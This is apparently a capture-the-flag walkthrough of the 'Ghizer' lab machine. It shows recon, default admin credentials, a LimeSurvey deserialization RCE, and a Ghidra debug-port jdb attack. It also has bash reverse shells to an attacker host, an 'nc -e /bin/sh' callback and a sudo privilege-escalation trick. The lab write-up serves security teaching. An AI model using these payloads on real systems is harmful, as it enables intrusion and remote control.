Ghizer

lucrecia has installed multiple web applications on the server.

Created by stuxnet, this room is free.

Are you able to complete the challenge?

Reconnaissance

What are the credentials you found in the configuration file?

$ nmap -sC -sV -p- <ip-address>                                                             
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-01 03:42 EDT
Nmap scan report for 10.10.176.108
Host is up (0.041s latency).
Not shown: 65529 closed tcp ports (conn-refused)
PORT      STATE SERVICE    VERSION
21/tcp    open  ftp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, RTSPRequest, X11Probe: 
|     220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
|     Please login with USER and PASS.
|   Kerberos, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|_    220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
80/tcp    open  http       Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: LimeSurvey http://www.limesurvey.org
|_http-title:         LimeSurvey    
443/tcp   open  ssl/http   Apache httpd 2.4.18 ((Ubuntu))
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2020-07-23T17:27:31
|_Not valid after:  2030-07-21T17:27:31
|_http-generator: WordPress 5.4.2
|_http-title: Ghizer &#8211; Just another WordPress site
18002/tcp open  java-rmi   Java RMI
| rmi-dumpregistry: 
|   jmxrmi
|     javax.management.remote.rmi.RMIServerImpl_Stub
|     @127.0.1.1:40669
|     extends
|       java.rmi.server.RemoteStub
|       extends
|_        java.rmi.server.RemoteObject
37019/tcp open  tcpwrapped
40669/tcp open  java-rmi   Java RMI
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.92%I=7%D=4/1%Time=6246AD15%P=x86_64-pc-linux-gnu%r(NULL,
SF:33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203
SF:\.0\.3\)\n")%r(GenericLines,58,"220\x20Welcome\x20to\x20Anonymous\x20FT
SF:P\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x2
SF:0USER\x20and\x20PASS\.\n")%r(Help,58,"220\x20Welcome\x20to\x20Anonymous
SF:\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20w
SF:ith\x20USER\x20and\x20PASS\.\n")%r(GetRequest,58,"220\x20Welcome\x20to\
SF:x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x
SF:20login\x20with\x20USER\x20and\x20PASS\.\n")%r(HTTPOptions,58,"220\x20W
SF:elcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n53
SF:0\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(RTSPRequest
SF:,58,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x20
SF:3\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%
SF:r(RPCCheck,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(
SF:vsFTPd\x203\.0\.3\)\n")%r(DNSVersionBindReqTCP,58,"220\x20Welcome\x20to
SF:\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\
SF:x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(DNSStatusRequestTCP,58,
SF:"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0
SF:\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PASS\.\n")%r(SS
SF:LSessionReq,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\
SF:(vsFTPd\x203\.0\.3\)\n")%r(TerminalServerCookie,33,"220\x20Welcome\x20t
SF:o\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(TLSSessi
SF:onReq,33,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTP
SF:d\x203\.0\.3\)\n")%r(Kerberos,33,"220\x20Welcome\x20to\x20Anonymous\x20
SF:FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(SMBProgNeg,33,"220\x20Welc
SF:ome\x20to\x20Anonymous\x20FTP\x20server\x20\(vsFTPd\x203\.0\.3\)\n")%r(
SF:X11Probe,58,"220\x20Welcome\x20to\x20Anonymous\x20FTP\x20server\x20\(vs
SF:FTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x20USER\x20and\x20PAS
SF:S\.\n")%r(FourOhFourRequest,58,"220\x20Welcome\x20to\x20Anonymous\x20FT
SF:P\x20server\x20\(vsFTPd\x203\.0\.3\)\n530\x20Please\x20login\x20with\x2
SF:0USER\x20and\x20PASS\.\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 178.42 seconds

There are interesting ports in the machine, like the FTP port, that supposedly allows anonymous login onto the machine.

However, it appears to close the connection with certain commands or it's simply time based.

$ ftp <ip-address> 
Connected to <ip-address>.
220 Welcome to Anonymous FTP server (vsFTPd 3.0.3)
Name (10.10.176.108:kali): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
Remote directory: /home/lucrecia/ftp/
ftp> cd ..
550 Permission denied.
ftp> ls 
^C
421 Service not available, user interrupt. Connection closed.

Onto the next port then, 80. There is a website.

Looks like is an online survey (shocker) tool for research.

Another port is that of HTTPS (443) - an SSL-enabled server port. This means that to access it, we'll have to use https://<ip-address>.

We've got a Wordpress site, with a user named Anny saying that the common wp-login site is hidden with the plugin WPS Hide Login.

Let's try to get some more info on the website in port 80 - port 443 looks quite straight forward!

Directory Discovery

Launch the tool of choice!

Hint: Dirbuster, Dirb or Gobuster

$ dirb http://<ip-address> 

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Apr  1 03:59:42 2022
URL_BASE: http://<ip-address>/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://<ip-address>/ ----
==> DIRECTORY: http://<ip-address>/admin/   
==> DIRECTORY: http://<ip-address>/application/
==> DIRECTORY: http://<ip-address>/assets/                         
==> DIRECTORY: http://<ip-address>/docs/                  
==> DIRECTORY: http://<ip-address>/framework/            
+ http://<ip-address>/index.php (CODE:200|SIZE:40931)     
==> DIRECTORY: http://<ip-address>/installer/           
==> DIRECTORY: http://<ip-address>/locale/                  
==> DIRECTORY: http://<ip-address>/plugins/ 
+ http://<ip-address>/server-status (CODE:403|SIZE:278)
==> DIRECTORY: http://<ip-address>/tests/    
==> DIRECTORY: http://<ip-address>/themes/ 
==> DIRECTORY: http://<ip-address>/tmp/         
==> DIRECTORY: http://<ip-address>/upload/

Oh yes, looks like this could lead somewhere.

Looks like http://<ip-address>/admin/ redirects to the login page, now it's time to see if they changed their default configuration.

A page on a consulting service, find the information on the default login! Looks like whoever set up the page did not count on this, as those credentials are... really, really common and known as the worst user:password pair that can ever be set, even more when it has administrative privileges.

Compromise the machine

Looking around the website doesn't show much save for the version of LimeSurvey. Now there are a couple of options on how to move forward:

  • Find exploit online

  • Use metasploit

  • Search more information and make custom script

I'll go with option 2 - Using metasploit. It's been a while since I last used it! ;)

$ msfconsole

msf6 > search limesurvey

Matching Modules
================

   #  Name                                              Disclosure Date  Rank    Check  Description
   -  ----                                              ---------------  ----    -----  -----------
   0  auxiliary/scanner/http/limesurvey_zip_traversals  2020-04-02       normal  No     LimeSurvey Zip Path Traversals
   1  auxiliary/admin/http/limesurvey_file_download     2015-10-12       normal  No     Limesurvey Unauthenticated File Download


Interact with a module by name or index. For example info 1, use 1 or use auxiliary/admin/http/limesurvey_file_download

Looks like we can try an exploit now.

msf6 > use 0
msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > options

Module options (auxiliary/scanner/http/limesurvey_zip_traversals):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   DEPTH      7                yes       Traversal Depth (to reach the root folder)
   FILE       /etc/passwd      yes       The file to retrieve
   PASSWORD   password         yes       LimeSurvey Password
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wi
                                         ki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the LimeSurvey installation
   THREADS    1                yes       The number of concurrent threads (max one per host)
   USERNAME   admin            yes       LimeSurvey Username
   VHOST                       no        HTTP server virtual host

msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > set rhosts 10.10.176.108
rhosts => 10.10.176.108
msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > set rhosts 10.10.21.46
rhosts => 10.10.21.46
msf6 auxiliary(scanner/http/limesurvey_zip_traversals) > run

[+] File stored to: /home/kali/.msf4/loot/20220401044739_default_10.10.21.46__476588.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/limesurvey_zip_traversals) >

So the exploit worked but, it looks like changing the file does not allow to download other files such as /etc/shadow or the one we need to answer the first question /application/config/config.php.

Let's look for an exploit.

$ searchsploit limesurvey                                                                     
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
LimeSurvey (PHPSurveyor 1.91+ stable) - Blind SQL Injection                       | php/webapps/18508.txt
LimeSurvey (phpsurveyor) 1.49rc2 - Remote File Inclusion                          | php/webapps/4156.txt
LimeSurvey 1.52 - 'language.php' Remote File Inclusion                            | php/webapps/4544.txt
LimeSurvey 1.85+ - 'admin.php' Cross-Site Scripting                               | php/webapps/35787.txt
LimeSurvey 1.92+ build120620 - Multiple Vulnerabilities                           | php/webapps/19330.txt
LimeSurvey 2.00+ (build 131107) - Multiple Vulnerabilities                        | php/webapps/29789.txt
LimeSurvey 3.17.13 - Cross-Site Scripting                                         | php/webapps/47386.txt
LimeSurvey 4.1.11 - 'File Manager' Path Traversal                                 | php/webapps/48297.txt
LimeSurvey 4.1.11 - 'Permission Roles' Persistent Cross-Site Scripting            | php/webapps/48523.txt
LimeSurvey 4.1.11 - 'Survey Groups' Persistent Cross-Site Scripting               | php/webapps/48289.txt
LimeSurvey 4.3.10 - 'Survey Menu' Persistent Cross-Site Scripting                 | php/webapps/48762.txt
LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)                    | php/webapps/50573.py
LimeSurvey < 3.16 - Remote Code Execution                                         | php/webapps/46634.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Now, to find the exploit simply remember that searchsploit is a local utility from exploitdb, which means that the exploit is in the attacker machine, within the /usr/share/exploitdb/exploits folder.

This is a snippet!

#!/usr/bin/python

# Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
# Date: 29/03/2019
# Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
# Exploit Author: @q3rv0
# Google Dork:
# Version: < 3.16
# Tested on: LimeSurvey 3.15

This should work.

Now, one thing that might happen is this:

python lime.py http://10.10.21.46 admin password             
  File "/home/kali/Downloads/thm/ghizer/lime.py", line 49
    print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
          ^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print("Usage: python exploit.py [URL] [USERNAME] [PASSWORD]")?

Make sure to use the correct version of python!

Hint: python2 or python3.

Looks like it worked! :)

$ python2 lime.py http://10.10.21.46 admin password
[*] Logging in to LimeSurvey...
[*] Creating a new Survey...
[+] SurveyID: 329682
[*] Uploading a malicious PHAR...
[*] Sending the Payload...
[*] TCPDF Response: <strong>TCPDF ERROR: </strong>[Image] Unable to get the size of the image: phar://./upload/surveys/329682/files/malicious.jpg
[+] Pwned! :)
[+] Getting the shell...
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now search for that config.php file.

$ ls -lh
total 88K
-rwxr-xr-x  1 www-data www-data 3.2K Feb 14  2019 CONTRIBUTING.md
-rwxr-xr-x  1 www-data www-data 2.5K Feb 14  2019 README.md
drwxr-xr-x  2 www-data www-data 4.0K Feb 14  2019 admin
drwxr-xr-x 15 www-data www-data 4.0K Feb 14  2019 application
drwxr-xr-x  7 www-data www-data 4.0K Feb 14  2019 assets
-rwxr-xr-x  1 www-data www-data 1.2K Feb 14  2019 composer.json
drwxr-xr-x  4 www-data www-data 4.0K Feb 14  2019 docs
drwxr-xr-x 19 www-data www-data 4.0K Feb 14  2019 framework
-rwxr-xr-x  1 www-data www-data 6.5K Feb 14  2019 index.php
drwxr-xr-x  5 www-data www-data 4.0K Feb 14  2019 installer
drwxr-xr-x 95 www-data www-data 4.0K Feb 14  2019 locale
-rwxr-xr-x  1 www-data www-data   80 Feb 14  2019 manifest.yml
-rwxr-xr-x  1 www-data www-data 1.2K Feb 14  2019 phpci.yml
-rwxr-xr-x  1 www-data www-data  638 Feb 14  2019 phpunit.xml
drwxr-xr-x  4 www-data www-data 4.0K Feb 14  2019 plugins
-rw-r--r--  1 www-data www-data   29 Apr  1 02:07 shell.php
drwxr-xr-x 11 www-data www-data 4.0K Feb 14  2019 tests
drwxr-xr-x  5 www-data www-data 4.0K Feb 14  2019 themes
drwxr-xr-x 38 www-data www-data 4.0K Feb 14  2019 third_party
drwxr-xr-x  5 www-data www-data 4.0K Jul 23  2020 tmp
drwxr-xr-x  6 www-data www-data 4.0K Feb 14  2019 upload

$ find . -name 'config.php' 2>/dev/null
./framework/messages/config.php
./application/config/config.php
./third_party/kcfinder/conf/config.php

Read the file and get that user:password combination!

PS: Simply by going to the Wordpress site gives us the username ;)

Take a look around and find the login page.

To connect to the machine as anny there are some options:

  1. Upload a shell.

This can be done by editing a plugin or simply adding a plugin (in zip format), set up a listener and activate the plugin!

For example:

?php

exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1'");

?>
  1. Create a "backdoor"

As simple as creating a file with the following:

#!/bin/bash

bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

Serve an HTTP port with python -m http.server and wget the backdoor in the restricted shell. Open a listener, change the permissions and run the file!

$ nc -lnvp 4444        
listening on [any] 4444 ...
connect to [<attacker-ip>] from (UNKNOWN) [<ip-address>] 49052
bash: cannot set terminal process group (1007): Inappropriate ioctl for device
bash: no job control in this shell
www-data@ubuntu:/var/www/html/limesurvey$

Looking around the machine, there appears to only be one user aside from www-data, veronica.

Now comes the fun part - port 18002. It appears to be part of the Ghidra Debug Mode. Looking for a way to exploit found:

jdb -attach 127.0.0.1:18001
classpath
classes
stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
print new java.lang.Runtime().exec("nc 10.9.1.116 1337 -e /bin/sh")

Let's try those instructions, hopefully we'll have a shell as veronica. Remember to set up a listener too!

www-data@ubuntu:/home/veronica$ jdb -attach 127.0.0.1:18001
jdb -attach 127.0.0.1:18001
Set uncaught java.lang.Throwable
Set deferred uncaught java.lang.Throwable
Initializing jdb ...
> classpath
base directory: /home/veronica
classpath: [/home/veronica/ghidra_9.0/support/../Ghidra/Framework/Utility/lib/Utility.jar]
> stop in org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
Set breakpoint org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run()
> 
Breakpoint hit: "thread=Log4j2-TF-4-Scheduled-1", org.apache.logging.log4j.core.util.WatchManager$WatchRunnable.run(), line=96 bci=0

Log4j2-TF-4-Scheduled-1[1]print new java.lang.Runtime().exec("nc 10.9.1.116 1337 -e /bin/sh")
 new java.lang.Runtime().exec("nc 10.9.1.116 1337 -e /bin/sh") = "Process[pid=17842, exitValue="not exited"]"

It worked!

Now for the flags.

$ nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.9.1.116] from (UNKNOWN) [10.10.21.46] 44712
id
uid=1000(veronica) gid=1000(veronica) groups=1000(veronica),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)

Upgrade the shell with python3 -c 'import pty;pty.spawn("/bin/bash")' and continue.

veronica@ubuntu:~$ cat user.txt
cat user.txt
THM{EB0CxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxFB67D34B37EBD3}

Now for the privilege escalation.

veronica@ubuntu:~$ sudo -l
sudo -l
Matching Defaults entries for veronica on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User veronica may run the following commands on ubuntu:
    (ALL : ALL) ALL
    (root : root) NOPASSWD: /usr/bin/python3.5 /home/veronica/base.py

Looks like we can not edit the base.py file.

veronica@ubuntu:~$ ls -lh
ls -lh
total 60K
-rw-r--r-- 1 root     root       86 Jul 23  2020 base.py
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Desktop
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Documents
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Downloads
-rw-r--r-- 1 veronica veronica 8.8K Jul 23  2020 examples.desktop
drwxrwxrwx 9 veronica veronica 4.0K Feb 28  2019 ghidra_9.0
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Music
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Pictures
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Public
drwxr-xr-x 2 root     root     4.0K Jul 23  2020 __pycache__
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Templates
-rw------- 1 veronica veronica   70 Jul 23  2020 user.txt
drwxr-xr-x 2 veronica veronica 4.0K Jul 23  2020 Videos

However, we could always delete the file and create our own in the same place, with the same name to be able to exploit the NOPASSWD permissions.

veronica@ubuntu:~$ echo 'import pty; pty.spawn("/bin/bash")' > /home/veronica/base.py
<port pty; pty.spawn("/bin/bash")' > /home/veronica/base.py                  
veronica@ubuntu:~$ sudo /usr/bin/python3.5 /home/veronica/base.py
sudo /usr/bin/python3.5 /home/veronica/base.py
root@ubuntu:~#

Now that we are root, get that nice flag!

root@ubuntu:~# pwd
pwd
/home/veronica
root@ubuntu:~# cat /root/root.txt
cat /root/root.txt
THM{02EAD3xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx077E11A1D9}

Last updated